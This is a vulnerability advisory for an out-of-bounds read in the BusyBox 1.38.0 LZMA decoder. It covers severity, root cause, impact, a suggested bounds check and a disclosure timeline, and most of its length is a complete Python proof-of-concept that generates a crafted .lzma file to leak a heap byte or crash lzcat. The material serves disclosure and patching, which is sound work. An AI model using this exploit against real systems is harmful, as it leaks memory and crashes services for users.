Summary

Out-of-bounds read in the LZMA decoder of BusyBox 1.38.0 allows a local attacker to read heap memory and to crash the process via a crafted .lzma file.

Severity: High (7.1), CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H. CWE: CWE-125, Out-of-bounds Read. Affected: busybox 1.38.0. Target: unlzma, lzcat, and all LZMA decode paths.

Details

unpack_lzma_stream in archival/libarchive/decompress_unlzma.c decodes LZMA literals with a match byte. Line 292 to 298 computes the match offset and checks it with a signed test only. The test rejects negative offsets but not offsets past the buffer end. Two other places in the same file already use the correct unsigned check, after earlier bug reports. The buffer size and the match distance come from the file header, so the attacker controls the read offset.

Proof of concept

Save the code below as exploit.py. Run python3 exploit.py poc.lzma, then busybox lzcat poc.lzma. ASan builds report a heap-buffer-overflow read at decompress_unlzma.c:298.

Heap out-of-bounds read in unpack_lzma_stream, decompress_unlzma.c:298.
Generates a 29-byte .lzma file: LIT('A') -> MATCH(len 43, dist dict-20) -> LIT(matched).
The final literal reads buffer[64] from a 64-byte heap buffer. The byte value
appears in the decompressed output (release builds), or triggers an ASan
heap-buffer-overflow report.
Usage: python3 exploit.py poc.lzma ; then: busybox lzcat poc.lzma
Validated against the python-lzma reference decoder on a benign stream.
"""
import struct, sys

# ---- constants from archival/libarchive/decompress_unlzma.c ----
LZMA_NUM_POS_BITS_MAX = 4
LZMA_LEN_NUM_LOW_BITS = 3
LZMA_LEN_NUM_MID_BITS = 3
LZMA_LEN_NUM_HIGH_BITS = 8
LZMA_LEN_CHOICE = 0
LZMA_LEN_CHOICE_2 = 1
LZMA_LEN_LOW = 2
LZMA_LEN_MID = LZMA_LEN_LOW + (1 << (LZMA_NUM_POS_BITS_MAX + LZMA_LEN_NUM_LOW_BITS))  # 130
LZMA_LEN_HIGH = LZMA_LEN_MID + (1 << (LZMA_NUM_POS_BITS_MAX + LZMA_LEN_NUM_MID_BITS))  # 258
LZMA_NUM_LEN_PROBS = LZMA_LEN_HIGH + (1 << LZMA_LEN_NUM_HIGH_BITS)  # 514
LZMA_NUM_STATES = 12
LZMA_NUM_LIT_STATES = 7
LZMA_START_POS_MODEL_INDEX = 4
LZMA_END_POS_MODEL_INDEX = 14
LZMA_NUM_POS_SLOT_BITS = 6
LZMA_NUM_LEN_TO_POS_STATES = 4
LZMA_NUM_ALIGN_BITS = 4
LZMA_MATCH_MIN_LEN = 2
LZMA_IS_MATCH = 0
LZMA_IS_REP = LZMA_IS_MATCH + (LZMA_NUM_STATES << LZMA_NUM_POS_BITS_MAX)      # 192
LZMA_IS_REP_G0 = LZMA_IS_REP + LZMA_NUM_STATES                                # 204
LZMA_IS_REP_G1 = LZMA_IS_REP_G0 + LZMA_NUM_STATES                             # 216
LZMA_IS_REP_G2 = LZMA_IS_REP_G1 + LZMA_NUM_STATES                             # 228
LZMA_IS_REP_0_LONG = LZMA_IS_REP_G2 + LZMA_NUM_STATES                         # 240
LZMA_POS_SLOT = LZMA_IS_REP_0_LONG + (LZMA_NUM_STATES << LZMA_NUM_POS_BITS_MAX)  # 432
LZMA_SPEC_POS = LZMA_POS_SLOT + (LZMA_NUM_LEN_TO_POS_STATES << LZMA_NUM_POS_SLOT_BITS)  # 688
LZMA_ALIGN = LZMA_SPEC_POS + (1 << (LZMA_END_POS_MODEL_INDEX >> 1)) - LZMA_END_POS_MODEL_INDEX  # 802
LZMA_LEN_CODER = LZMA_ALIGN + (1 << LZMA_NUM_ALIGN_BITS)                      # 818
LZMA_REP_LEN_CODER = LZMA_LEN_CODER + LZMA_NUM_LEN_PROBS                      # 1332
LZMA_LITERAL = LZMA_REP_LEN_CODER + LZMA_NUM_LEN_PROBS                        # 1846
LZMA_LIT_SIZE = 768

DICT_SIZE = 0x100000
DST_SIZE  = 64          # == buffer_size; OOB read lands at buffer[64]
K_BACK    = 20          # rep0 = DICT_SIZE - K_BACK
MATCH_LEN = 43          # P2 + K_BACK == 64 -> pos_l == buffer_size exactly


class RC:
    """Standard LZMA range encoder (pairs with busybox's rc_is_bit_1/rc_get_bit)."""
    def __init__(self):
        self.low = 0
        self.range = 0xFFFFFFFF
        self.cache = 0
        self.cache_size = 1
        self.out = bytearray()

    def shift_low(self):
        if self.low < 0xFF000000 or self.low > 0xFFFFFFFF:
            carry = self.low >> 32
            temp = self.cache
            while True:
                self.out.append((temp + carry) & 0xFF)
                temp = 0xFF
                self.cache_size -= 1
                if self.cache_size == 0:
                    break
            self.cache = (self.low >> 24) & 0xFF
        self.cache_size += 1
        self.low = (self.low << 8) & 0xFFFFFFFF

    def _norm(self):
        # busybox rc_normalize: runs BEFORE each rc op (decoder-side pairing)
        while self.range < (1 << 24):
            self.range = (self.range << 8) & 0xFFFFFFFF
            self.shift_low()

    def encode_bit(self, prob, bit):
        self._norm()
        bound = (self.range >> 11) * prob
        if bit == 0:
            self.range = bound
            prob += (2048 - prob) >> 5
        else:
            self.low += bound
            self.range -= bound
            prob -= prob >> 5
        return prob

    def encode_direct(self, bit):
        # busybox rc_direct_bit: rc_normalize(); range >>= 1; compare
        self._norm()
        self.range >>= 1
        if bit:
            self.low += self.range

    def flush(self):
        for _ in range(5):
            self.shift_low()


class Enc:
    def __init__(self):
        self.rc = RC()
        # prob table, default 1024
        self.p = [1024] * (LZMA_LITERAL + LZMA_LIT_SIZE)

    def bit_tree(self, base, bits, nlevels, reverse_msb_first=True):
        """busybox rc_bit_tree_decode: symbol=1; while(i--) get_bit(p+symbol,&symbol)
        i.e. nlevels bits, first bit is MSB of the result."""
        m = 1
        val = 0
        for i in range(nlevels - 1, -1, -1):
            bit = (bits >> i) & 1
            self.p[base + m] = self.rc.encode_bit(self.p[base + m], bit)
            m = m * 2 + bit
        return m - (1 << nlevels)

    def literal(self, byte, prev_byte, lc, lp, pos, matched, match_byte):
        base = LZMA_LITERAL + LZMA_LIT_SIZE * (((pos & ((1 << lp) - 1)) << lc)
                                               + (prev_byte >> (8 - lc) if lc else 0))
        m = 1
        matched_mode = matched
        mb = match_byte
        for i in range(7, -1, -1):
            bit = (byte >> i) & 1
            if matched_mode:
                mb = (mb << 1) & 0xFF
                expected = (mb & 0x80) >> 7   # match_byte <<=1; bit = match_byte & 0x100
                ctx = 0x100 + (expected << 8 >> 8) + m  # prob + 0x100 + bit + mi
                ctx = 0x100 + expected + m
                self.p[base + ctx] = self.rc.encode_bit(self.p[base + ctx], bit)
                if bit != expected:
                    matched_mode = False
                m = m * 2 + bit
            else:
                self.p[base + m] = self.rc.encode_bit(self.p[base + m], bit)
                m = m * 2 + bit
            mb = (mb << 0)
        return byte

    def encode(self):
        rc = self.rc
        pb = 0  # pos_state always 0
        state = 0
        prev = 0
        pos = 0  # buffer_pos + global_pos

        # symbol 1: plain literal 'A' (state 0 < 7)
        i = LZMA_IS_MATCH + (state << LZMA_NUM_POS_BITS_MAX)
        self.p[i] = rc.encode_bit(self.p[i], 0)
        self.literal(0x41, prev, lc=0, lp=0, pos=pos, matched=False, match_byte=0)
        state = [0,0,0,0,1,2,3,4,5,6,4,5][state]
        prev = 0x41
        pos += 1  # 1

        # symbol 2: MATCH, len 43, dist = DICT_SIZE-K_BACK (rep0 after ++ = R)
        i = LZMA_IS_MATCH + (state << LZMA_NUM_POS_BITS_MAX)
        self.p[i] = rc.encode_bit(self.p[i], 1)
        self.p[LZMA_IS_REP + state] = rc.encode_bit(self.p[LZMA_IS_REP + state], 0)
        # len coder: choice=1 (not low), choice2=1 (high), tree value 25 -> len = 25+16 = 41 (+2 = 43)
        lc_prob = LZMA_LEN_CODER + LZMA_LEN_CHOICE
        self.p[lc_prob] = rc.encode_bit(self.p[lc_prob], 1)
        lc_prob = LZMA_LEN_CODER + LZMA_LEN_CHOICE_2
        self.p[lc_prob] = rc.encode_bit(self.p[lc_prob], 1)
        self.bit_tree(LZMA_LEN_CODER + LZMA_LEN_HIGH, 25, LZMA_LEN_NUM_HIGH_BITS)
        # len now 41; state < 4? state==0 -> yes; lts = 41 >= 4 -> 3
        lts = 3
        d = DICT_SIZE - K_BACK - 1     # pre-increment rep0; final rep0 = DICT_SIZE-K_BACK
        # slot for d
        k = d.bit_length() - 1         # 19
        slot = (k << 1) | ((d >> (k - 1)) & 1)
        assert slot >= LZMA_END_POS_MODEL_INDEX
        self.bit_tree(LZMA_POS_SLOT + (lts << LZMA_NUM_POS_SLOT_BITS), slot,
                      LZMA_NUM_POS_SLOT_BITS)
        # slot >= 14: num_bits2 = (slot>>1)-1; direct bits down to 4, then align
        base = (2 | (slot & 1))
        nb2 = (slot >> 1) - 1
        rest = d - (base << nb2)
        for j in range(nb2 - 1, LZMA_NUM_ALIGN_BITS - 1, -1):
            rc.encode_direct((rest >> j) & 1)
        # align tree: i2/mi2 walk with mi starting 1, bits LSB..MSB (rep0 |= i2)
        align = rest & 0xF
        m = 1
        i2 = 1
        for j in range(LZMA_NUM_ALIGN_BITS):
            bit = (align >> j) & 1
            self.p[LZMA_ALIGN + m] = rc.encode_bit(self.p[LZMA_ALIGN + m], bit)
            m = m * 2 + bit
        state += LZMA_NUM_LIT_STATES  # 0 -> 7
        pos += MATCH_LEN              # 44 (copy succeeds: pos_c = P+20 <= 63 < 64)
        prev = 0      # (copied bytes are uninitialized garbage; value irrelevant)

        # symbol 3: literal in matched mode -> match_byte = buffer[64] OOB READ
        i = LZMA_IS_MATCH + (state << LZMA_NUM_POS_BITS_MAX)
        self.p[i] = rc.encode_bit(self.p[i], 0)
        # encode with match_byte unknown: pick any walk; first bit mismatches -> normal
        self.literal(0x42, prev, lc=0, lp=0, pos=pos, matched=True, match_byte=0x00)
        pos += 1

        # symbol 4: end-of-stream marker (dist 0xffffffff -> rep0 wraps to 0 -> break)
        state = 0  # state after literal: next_state[7] = 4; keep general
        state = 4
        i = LZMA_IS_MATCH + (state << LZMA_NUM_POS_BITS_MAX)
        self.p[i] = rc.encode_bit(self.p[i], 1)
        self.p[LZMA_IS_REP + state] = rc.encode_bit(self.p[LZMA_IS_REP + state], 0)
        # len 2: choice=0, low tree value 0
        lc_prob = LZMA_LEN_CODER + LZMA_LEN_CHOICE
        self.p[lc_prob] = rc.encode_bit(self.p[lc_prob], 0)
        self.bit_tree(LZMA_LEN_CODER + LZMA_LEN_LOW + (0 << LZMA_LEN_NUM_LOW_BITS),
                      0, LZMA_LEN_NUM_LOW_BITS)
        lts = 0  # len 0 (<4)
        d = 0xFFFFFFFF
        k = d.bit_length() - 1  # 31
        slot = (k << 1) | ((d >> (k - 1)) & 1)  # 63
        self.bit_tree(LZMA_POS_SLOT + (lts << LZMA_NUM_POS_SLOT_BITS), slot,
                      LZMA_NUM_POS_SLOT_BITS)
        base = 2 | (slot & 1)
        nb2 = (slot >> 1) - 1  # 30
        rest = d - (base << nb2)
        for j in range(nb2 - 1, LZMA_NUM_ALIGN_BITS - 1, -1):
            rc.encode_direct((rest >> j) & 1)
        align = rest & 0xF
        m = 1
        for j in range(LZMA_NUM_ALIGN_BITS):
            bit = (align >> j) & 1
            self.p[LZMA_ALIGN + m] = rc.encode_bit(self.p[LZMA_ALIGN + m], bit)
            m = m * 2 + bit

        rc.flush()
        return bytes(rc.out)


def main(out):
    props = 0  # lc=0 lp=0 pb=0
    hdr = struct.pack('<BIQ', props, DICT_SIZE, DST_SIZE)
    body = Enc().encode()
    blob = hdr + body
    open(out, 'wb').write(blob)
    print(f'wrote {out}: {len(blob)} bytes (header {len(hdr)} + rc {len(body)})')
    print(f'dict_size={DICT_SIZE:#x} dst_size={DST_SIZE} buffer_size={min(DST_SIZE,DICT_SIZE)}')
    print(f'rep0={DICT_SIZE-K_BACK:#x} -> match copy max pos={1+MATCH_LEN-1+K_BACK-1} < {min(DST_SIZE,DICT_SIZE)},'
          f' literal pos={44+K_BACK} == buffer_size -> OOB')

if __name__ == '__main__':
    main(sys.argv[1] if len(sys.argv) > 1 else 'poc.lzma')

Impact

The decoder reads one heap byte at an attacker-chosen offset. The byte value changes the decompressed output, so the leak becomes visible in the output file. The release build leaks the byte without a crash. A wild offset stops the process.

Solution

  1. Add if (pos >= buffer_size) goto bad; after pos += header.dict_size; at line 296.
  2. Until a fixed release exists, decompress untrusted .lzma files with another tool.

Timeline

  • 2026-11-10: Discovered during a security audit of busybox 1.38.0.
  • 2026-11-12: Maintainer provides no way to privately report, reported through github issues

References